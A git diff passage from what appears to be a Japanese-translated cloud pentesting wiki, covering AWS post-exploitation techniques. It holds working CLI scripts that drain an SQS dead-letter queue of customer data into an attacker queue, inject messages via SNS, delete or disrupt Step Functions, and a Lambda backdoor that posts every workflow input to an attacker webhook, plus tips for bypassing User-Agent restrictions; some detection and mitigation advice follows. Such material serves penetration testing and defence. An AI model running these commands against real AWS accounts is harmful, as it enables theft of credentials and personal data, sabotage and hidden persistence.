+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **大量メッセージの窃取を実行する**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **盗まれた機密データを収集する**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### クロスアカウントの注意点
+- 宛先キューは、被害者プリンシパルが `sqs:SendMessage` を実行できるようにするリソースポリシー（および、使用する場合は KMS の付与/権限）を持っている必要があります。
+
+## なぜこの攻撃が効果的か
+
+1. **正規の AWS 機能**: 組み込みの AWS 機能を利用するため、悪意あるものとして検出されにくい
+2. **大量操作**: 個別に遅くアクセスする代わりに、何千ものメッセージを短時間で転送できる
+3. **履歴データ**: DLQ は数週間〜数ヶ月にわたって機密データを蓄積する
+4. **見過ごされやすい**: 多くの組織は DLQ へのアクセスを厳密に監視していない
+5. **クロスアカウント可能**: 権限があれば攻撃者自身の AWS アカウントへデータを持ち出すことができる
+
+## 検出と防止
+
+### 検出
+疑わしい `StartMessageMoveTask` API コールを CloudTrail で監視する:
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### 対策
+1. **最小権限**: 必要なロールのみに`sqs:StartMessageMoveTask`権限を制限する  
+2. **DLQsの監視**: DLQsの異常なアクティビティに対してCloudWatchアラームを設定する  
+3. **クロスアカウントポリシー**: クロスアカウントアクセスを許可するSQSキューのポリシーを慎重に確認する  
+4. **DLQsの暗号化**: 制限されたキー・ポリシーを持つSSE-KMSを使用する  
+5. **定期的なクリーンアップ**: 機密データがDLQsに無期限に蓄積されないようにする
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
new file mode 100644
index 000000000..847415341
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
@@ -0,0 +1,54 @@
+# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## 説明
+
+SQS キューのリソースポリシーを悪用して、攻撃者が制御する SNS トピックが被害者の SQS キューにメッセージを送信できるようにする。同一アカウント内では、SNS トピックへの SQS サブスクリプションは自動で確認されるが、クロスアカウントではキューから SubscriptionConfirmation トークンを読み取り、ConfirmSubscription を呼び出す必要がある。これにより、下流のコンシューマが暗黙に信頼する可能性のある、意図しないメッセージ注入が可能になる。
+
+### 要件
+- ターゲット SQS キューのリソースポリシーを変更できること: `sqs:SetQueueAttributes` on the victim queue.
+- 攻撃者が制御する SNS トピックを作成/公開できること: `sns:CreateTopic`, `sns:Publish`, and `sns:Subscribe` on the attacker account/topic.
+- クロスアカウントのみ: 被害者キュー上の一時的な `sqs:ReceiveMessage`（確認トークンを読み取り `sns:ConfirmSubscription` を呼び出すため）。
+
+### 同一アカウントでの悪用
+```bash
+REGION=us-east-1
+# 1) Create victim queue and capture URL/ARN
+Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Create attacker SNS topic
+TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
+
+# 3) Allow that SNS topic to publish to the queue (queue resource policy)
+cat > /tmp/ht-sqs-sns-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
+JSON
+sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
+# Provide the attribute as a JSON map so quoting works reliably
+cat > /tmp/ht-attrs.json <<JSON
+{
+"Policy": "REPLACE_POLICY_JSON"
+}
+JSON
+# Embed the policy file contents as a JSON string
+POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
+sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
+aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
+
+# 4) Subscribe the queue to the topic (auto-confirms same-account)
+aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
+
+# 5) Publish and verify injection
+aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
+```
+### クロスアカウントの注意点
+- 上記のキューポリシーは、外部の `TOPIC_ARN`（攻撃者アカウント）を許可している必要がある。
+- Subscriptions は自動で確認されない。被害者のキューに対して一時的に `sqs:ReceiveMessage` を付与し、`SubscriptionConfirmation` メッセージを読み取り、その `Token` を使って `sns confirm-subscription` を呼び出す。
+
+### 影響
+**潜在的影響**: SNS 経由で信頼された SQS キューに継続的に望まれないメッセージを注入され、意図しない処理のトリガー、データ汚染、ワークフローの悪用などを引き起こす可能性がある。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md
similarity index 66%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md
index b15d0916c..4c82815b6 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md
@@ -1,18 +1,18 @@
-# AWS - SSO & identitystore ポストエクスプロイテーション
+# AWS - SSO & identitystore Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## SSO & identitystore
 
-詳細については、以下を確認してください:
+詳しくは次を参照:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
 ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
 
-これらの権限は、権限を妨害するために使用できます:
+これらの権限は、アクセス権を混乱させるために使用できます:
 ```bash
 aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
 
@@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
 
 aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
deleted file mode 100644
index d61f48425..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ /dev/null
@@ -1,184 +0,0 @@
-# AWS - Step Functions Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-このAWSサービスに関する詳細情報は、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### `states:RevealSecrets`
-
-この権限は**実行内の秘密データを明らかにする**ことを許可します。そのためには、Inspection levelをTRACEに設定し、revealSecretsパラメータをtrueにする必要があります。
-
-<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
-
-### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
-
-これらの権限を持つ攻撃者は、ステートマシン、そのバージョン、およびエイリアスを永久に削除することができます。これにより、重要なワークフローが中断され、データ損失が発生し、影響を受けたステートマシンの回復と復元に多大な時間が必要となる可能性があります。さらに、攻撃者は使用した痕跡を隠し、法医学的調査を妨害し、重要な自動化プロセスやステート構成を削除することで、業務を麻痺させる可能性があります。
-
-> [!NOTE]
->
-> - ステートマシンを削除すると、その関連するすべてのバージョンとエイリアスも削除されます。
-> - ステートマシンエイリアスを削除しても、このエイリアスを参照しているステートマシンバージョンは削除されません。
-> - 現在1つ以上のエイリアスによって参照されているステートマシンバージョンを削除することはできません。
-```bash
-# Delete state machine
-aws stepfunctions delete-state-machine --state-machine-arn <value>
-# Delete state machine version
-aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
-# Delete state machine alias
-aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
-```
-- **潜在的な影響**: 重要なワークフローの中断、データ損失、および運用のダウンタイム。
-
-### `states:UpdateMapRun`
-
-この権限を持つ攻撃者は、Map Runの失敗設定と並行設定を操作でき、許可される子ワークフロー実行の最大数を増減させることができ、サービスのパフォーマンスに直接影響を与えます。さらに、攻撃者は許容される失敗率とカウントを改ざんでき、この値を0に減少させることができるため、アイテムが失敗するたびに全体のマップランが失敗し、状態マシンの実行に直接影響を与え、重要なワークフローを中断させる可能性があります。
-```bash
-aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
-```
-- **潜在的な影響**: パフォーマンスの低下と重要なワークフローの中断。
-
-### `states:StopExecution`
-
-この権限を持つ攻撃者は、任意のステートマシンの実行を停止でき、進行中のワークフローやプロセスを中断させる可能性があります。これにより、未完了のトランザクション、停止したビジネスオペレーション、潜在的なデータの破損が発生する可能性があります。
-
-> [!WARNING]
-> このアクションは**エクスプレスステートマシン**ではサポートされていません。
-```bash
-aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
-```
-- **潜在的な影響**: 継続中のワークフローの中断、運用のダウンタイム、及び潜在的なデータの破損。
-
-### `states:TagResource`, `states:UntagResource`
-
-攻撃者は、Step Functionsリソースからタグを追加、変更、または削除することができ、これにより組織のコスト配分、リソース追跡、およびタグに基づくアクセス制御ポリシーが混乱する可能性があります。
-```bash
-aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
-aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
-```
-**潜在的な影響**: コスト配分、リソース追跡、およびタグベースのアクセス制御ポリシーの混乱。
-
----
-
-### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
-
-次の権限を持つユーザーまたはロールを侵害した攻撃者:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "AllowUpdateStateMachine",
-"Effect": "Allow",
-"Action": "states:UpdateStateMachine",
-"Resource": "*"
-},
-{
-"Sid": "AllowUpdateFunctionCode",
-"Effect": "Allow",
-"Action": "lambda:UpdateFunctionCode",
-"Resource": "*"
-}
-]
-}
-```
-...は、LambdaのバックドアとStep Functionのロジック操作を組み合わせることで、**高影響かつステルスなポストエクスプロイテーション攻撃**を実行できます。
-
-このシナリオは、被害者が**AWS Step Functionsを使用して、資格情報、トークン、またはPIIなどの機密入力を処理するワークフローをオーケストレーションしている**ことを前提としています。
-
-例としての被害者の呼び出し:
-```bash
-aws stepfunctions start-execution \
---state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
---input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
-```
-もしStep Functionが`LegitBusinessLogic`のようなLambdaを呼び出すように設定されている場合、攻撃者は**2つのステルス攻撃バリアント**を進めることができます：
-
----
-
-#### ラムダ関数の更新
-
-攻撃者は、Step Functionによって既に使用されているLambda関数（`LegitBusinessLogic`）のコードを修正し、入力データを静かに外部に流出させます。
-```python
-# send_to_attacker.py
-import requests
-
-def lambda_handler(event, context):
-requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
-return {"status": "exfiltrated"}
-```
-
-```bash
-zip function.zip send_to_attacker.py
-
-aws lambda update-function-code \
---function-name LegitBusinessLogic \
---zip-file fileb://function.zip -profile attacker
-```
----
-
-#### ステップ関数に悪意のある状態を追加する
-
-代わりに、攻撃者はステップ関数の定義を更新することで、ワークフローの最初に**エクスフィルトレーション状態**を挿入することができます。
-```malicious_state_definition.json
-{
-"Comment": "Backdoored for Exfiltration",
-"StartAt": "OriginalState",
-"States": {
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-
-```
-
-```bash
-aws stepfunctions update-state-machine \
---state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
---definition file://malicious_state_definition.json --profile attacker
-```
-攻撃者は、状態定義を次のように更新することで、さらにステルス性を高めることができます。
-{
-"Comment": "Exfiltrationのためにバックドアを仕込む",
-"StartAt": "ExfiltrateSecrets",
-"States": {
-"ExfiltrateSecrets": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
-"InputPath": "$",
-"ResultPath": "$.exfil",
-"Next": "OriginalState"
-},
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-被害者は違いに気づかないでしょう。
-
----
-
-### 被害者のセットアップ（エクスプロイトのコンテキスト）
-
-- ステップ関数（`LegitStateMachine`）は、機密のユーザー入力を処理するために使用されます。
-- それは、`LegitBusinessLogic`などの1つ以上のLambda関数を呼び出します。
-
----
-
-**潜在的な影響**:
-- 秘密、資格情報、APIキー、PIIを含む機密データの静かな抽出。
-- ワークフロー実行における目に見えるエラーや失敗はありません。
-- Lambdaコードや実行トレースを監査しない限り、検出が困難です。
-- バックドアがコードやASLロジックに残っている場合、長期的な持続性を可能にします。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md
new file mode 100644
index 000000000..7abc69558
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md
@@ -0,0 +1,185 @@
+# AWS - Step Functions Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+この AWS サービスの詳細については、次を参照してください：
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### `states:RevealSecrets`
+
+この権限により、execution 内の機密データを表示できます。これを行うには、Inspection level を TRACE に設定し、revealSecrets パラメータを true にする必要があります。
+
+<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
+
+### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
+
+これらの権限を持つ攻撃者は、state machines、その versions、および aliases を永久に削除することができます。これにより重要なワークフローが中断され、データ損失が発生し、影響を受けた state machines の復旧と復元に多大な時間がかかる可能性があります。さらに、攻撃者は使用された痕跡を隠蔽したり、フォレンジック調査を妨害したり、重要な自動化プロセスや状態構成を削除して運用を麻痺させる可能性があります。
+
+> [!NOTE]
+>
+> - state machine を削除すると、それに関連するすべての versions と aliases も削除されます。
+> - state machine alias を削除しても、その alias を参照している state machine versions は削除されません。
+> - 1つ以上の alias から現在参照されている state machine version を削除することはできません。
+```bash
+# Delete state machine
+aws stepfunctions delete-state-machine --state-machine-arn <value>
+# Delete state machine version
+aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
+# Delete state machine alias
+aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
+```
+- **Potential Impact**: 重要なワークフローの中断、データ損失、および運用停止。
+
+### `states:UpdateMapRun`
+
+この権限を持つ攻撃者は、Map Run の failure 設定や parallel 設定を操作でき、許可される子ワークフロー実行の最大数を増減させることで、サービスの動作やパフォーマンスに直接影響を与える可能性があります。さらに、攻撃者は許容される失敗の割合やカウントを改ざんしてこれを0に下げることができ、その結果、アイテムが1件でも失敗すると Map Run 全体が失敗し、ステートマシンの実行に直接影響を与え、重要なワークフローを中断する可能性があります。
+```bash
+aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
+```
+- **潜在的な影響**: パフォーマンスの低下、および重要なワークフローの中断。
+
+### `states:StopExecution`
+
+この権限を持つ攻撃者は任意のステートマシンの実行を停止できる可能性があり、進行中のワークフローやプロセスを中断します。これにより、トランザクションの未完了、業務の停止、そしてデータ破損の可能性が生じます。
+
+> [!WARNING]
+> このアクションは**express state machines**ではサポートされていません。
+```bash
+aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
+```
+- **潜在的影響**: 継続中のワークフローの中断、運用停止、及びデータ破損の可能性。
+
+### `states:TagResource`, `states:UntagResource`
+
+攻撃者は Step Functions リソースの tags を追加・変更・削除でき、組織のコスト配分、リソース追跡、および tags に基づくアクセス制御ポリシーを混乱させる可能性があります。
+```bash
+aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
+aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
+```
+**潜在的影響**: コスト配分、リソース追跡、およびタグベースのアクセス制御ポリシーの混乱。
+
+---
+
+### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
+
+次の権限を持つユーザーまたはロールを侵害した攻撃者:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowUpdateStateMachine",
+"Effect": "Allow",
+"Action": "states:UpdateStateMachine",
+"Resource": "*"
+},
+{
+"Sid": "AllowUpdateFunctionCode",
+"Effect": "Allow",
+"Action": "lambda:UpdateFunctionCode",
+"Resource": "*"
+}
+]
+}
+```
+...は、Lambda backdooringとStep Function logic manipulationを組み合わせることで、**高インパクトかつステルスな post-exploitation attack** を実行できます。
+
+このシナリオでは、被害者が**AWS Step Functions を使用して、資格情報、トークン、または PII のような機密入力を処理するワークフローをオーケストレーションする**と想定します。
+
+Example victim invocation:
+```bash
+aws stepfunctions start-execution \
+--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
+--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
+```
+Step Functionが`LegitBusinessLogic`のようなLambdaを呼び出すように設定されている場合、攻撃者は**2つのステルス性の高い攻撃パターン**を実行できます:
+
+---
+
+####  lambda 関数を更新
+
+攻撃者は、Step Functionで既に使用されているLambda関数（`LegitBusinessLogic`）のコードを改変し、入力データを静かにexfiltrateします。
+```python
+# send_to_attacker.py
+import requests
+
+def lambda_handler(event, context):
+requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
+return {"status": "exfiltrated"}
+```
+
+```bash
+zip function.zip send_to_attacker.py
+
+aws lambda update-function-code \
+--function-name LegitBusinessLogic \
+--zip-file fileb://function.zip -profile attacker
+```
+---
+
+#### Step Function に悪意のあるステートを追加する
+
+あるいは、攻撃者は Step Function の定義を更新して、ワークフローの先頭に **exfiltration state** を挿入することができます。
+```malicious_state_definition.json
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "OriginalState",
+"States": {
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+
+```
+
+```bash
+aws stepfunctions update-state-machine \
+--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
+--definition file://malicious_state_definition.json --profile attacker
+```
+攻撃者はさらにステルスに状態定義を次のように更新できる。
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "ExfiltrateSecrets",
+"States": {
+"ExfiltrateSecrets": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
+"InputPath": "$",
+"ResultPath": "$.exfil",
+"Next": "OriginalState"
+},
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+被害者はその違いに気づかない。
+
+---
+
+### 被害者のセットアップ（エクスプロイトのコンテキスト）
+
+- Step Function (`LegitStateMachine`) は機密性の高いユーザー入力を処理するために使用される。
+- `LegitBusinessLogic` のような1つ以上の Lambda 関数を呼び出す。
+
+---
+
+**潜在的な影響**:
+- 機密データ（secrets、credentials、API keys、PII を含む）の silent exfiltration。
+- ワークフロー実行に目に見えるエラーや障害が発生しない。
+- Lambda のコードや実行トレースを監査しない限り検出が難しい。
+- バックドアがコードや ASL ロジックに残っている場合、長期的な persistence を可能にする。
+
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md
similarity index 52%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md
index 447c6ddbb..5137314da 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md
@@ -1,23 +1,23 @@
 # AWS - STS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## STS
 
-詳細情報:
+For more information:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
 ### From IAM Creds to Console
 
-もし IAM credentials を入手できた場合、以下のツールを使って **web console にアクセス** することに興味があるかもしれません。\
-注意: ユーザー/ロールは **`sts:GetFederationToken`** の権限を持っている必要があります。
+If you have managed to obtain some IAM credentials you might be interested on **accessing the web console** using the following tools.\
+Note that the the user/role must have the permission **`sts:GetFederationToken`**.
 
 #### カスタムスクリプト
 
-以下のスクリプトはデフォルトプロファイルとデフォルトの AWS ロケーション（gov と cn 以外）を使用して、web console にログインするために使える署名付き URL を生成します：
+以下のスクリプトはデフォルトのプロファイルとデフォルトの AWS ロケーション（not gov and not cn）を使用して、ウェブコンソールにログインするために使える署名付き URL を生成します:
 ```bash
 # Get federated creds (you must indicate a policy or they won't have any perms)
 ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
@@ -55,7 +55,7 @@ echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.co
 ```
 #### aws_consoler
 
-[https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler) を使って **Web コンソールのリンクを生成できます**。
+[https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler) を使って**Webコンソールリンクを生成できます**。
 ```bash
 cd /tmp
 python3 -m venv env
@@ -64,22 +64,22 @@ pip install aws-consoler
 aws_consoler [params...] #This will generate a link to login into the console
 ```
 > [!WARNING]
-> IAM user が `sts:GetFederationToken` 権限を持っていることを確認するか、assume する role を用意してください。
+> IAM ユーザーが `sts:GetFederationToken` パーミッションを持っていることを確認するか、assume するための role を用意してください。
 
 #### aws-vault
 
-[**aws-vault**](https://github.com/99designs/aws-vault) は開発環境で AWS の認証情報を安全に保存およびアクセスするためのツールです。
+[**aws-vault**](https://github.com/99designs/aws-vault) は、開発環境で AWS 認証情報を安全に保存およびアクセスするためのツールです。
 ```bash
 aws-vault list
 aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
 aws-vault login jonsmith # Open a browser logged as jonsmith
 ```
 > [!NOTE]
-> また、**aws-vault** を使用して **ブラウザ コンソール セッション** を取得することもできます
+> **aws-vault** を使って **ブラウザのコンソールセッション** を取得することもできます
 
-### **Python からの User-Agent 制限のバイパス**
+### **PythonからのUser-Agent制限の回避**
 
-もし **User-Agent に基づいて特定の操作を行う制限がある**（例: User-Agent に基づいて python boto3 library の使用を制限するような場合）、前述の手法を使って **ブラウザ経由で web コンソールに接続する** ことが可能ですし、あるいは直接 **boto3 の User-Agent を変更する** と次のようにできます:
+もし **User-Agent に基づいて特定の操作を実行することが制限されている** 場合（例：User-Agent に基づいて python boto3 ライブラリの使用を制限するなど）、前述の手法で **ブラウザ経由でウェブコンソールに接続する** こともできますし、あるいは直接 **boto3 の User-Agent を変更する** ことで実行することも可能です:
 ```bash
 # Shared by ex16x41
 # Create a client
@@ -94,12 +94,12 @@ response = client.get_secret_value(SecretId="flag_secret") print(response['Secre
 ```
 ### **`sts:GetFederationToken`**
 
-この権限により、それを実行したユーザーのためのフェデレーテッドIDを作成できます。作成されるIDはそのユーザーが持つ権限に制限されます。
+この権限があれば、実行しているユーザーの権限の範囲内で、フェデレーテッドアイデンティティを作成できます。
 ```bash
 aws sts get-federation-token --name <username>
 ```
-sts:GetFederationToken によって返されるトークンは、呼び出し元ユーザーのフェデレーテッドアイデンティティに属しますが、権限は制限されています。たとえユーザーが管理者権限を持っていても、IAM ユーザーの一覧表示やポリシーのアタッチなど、特定の操作はフェデレーテッドトークンでは実行できません。
+sts:GetFederationToken によって返されるトークンは呼び出し元ユーザーのフェデレーテッドIDに属しますが、権限は制限されています。たとえユーザーが管理者権限を持っていても、IAMユーザーの一覧表示やポリシーのアタッチなど、一部の操作はフェデレーテッドトークン経由では実行できません。
 
-さらに、この方法はややステルス性が高く、フェデレーテッドユーザーは AWS Portal に表示されないため、CloudTrail ログや監視ツールを通じてのみ確認できます。
+さらに、この方法はややステルス性が高くなります。フェデレーテッドユーザーはAWS Portalに表示されず、CloudTrailログや監視ツール経由でしか確認できません。
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
deleted file mode 100644
index 4eb4ebe13..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md
+++ /dev/null
@@ -1,13 +0,0 @@
-# AWS - VPN ポストエクスプロイテーション
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## VPN
-
-詳細情報:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md
new file mode 100644
index 000000000..9eb183077
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md
@@ -0,0 +1,13 @@
+# AWS - VPN ポストエクスプロイテーション
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## VPN
+
+詳細情報:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
deleted file mode 100644
index 92abd0f71..000000000
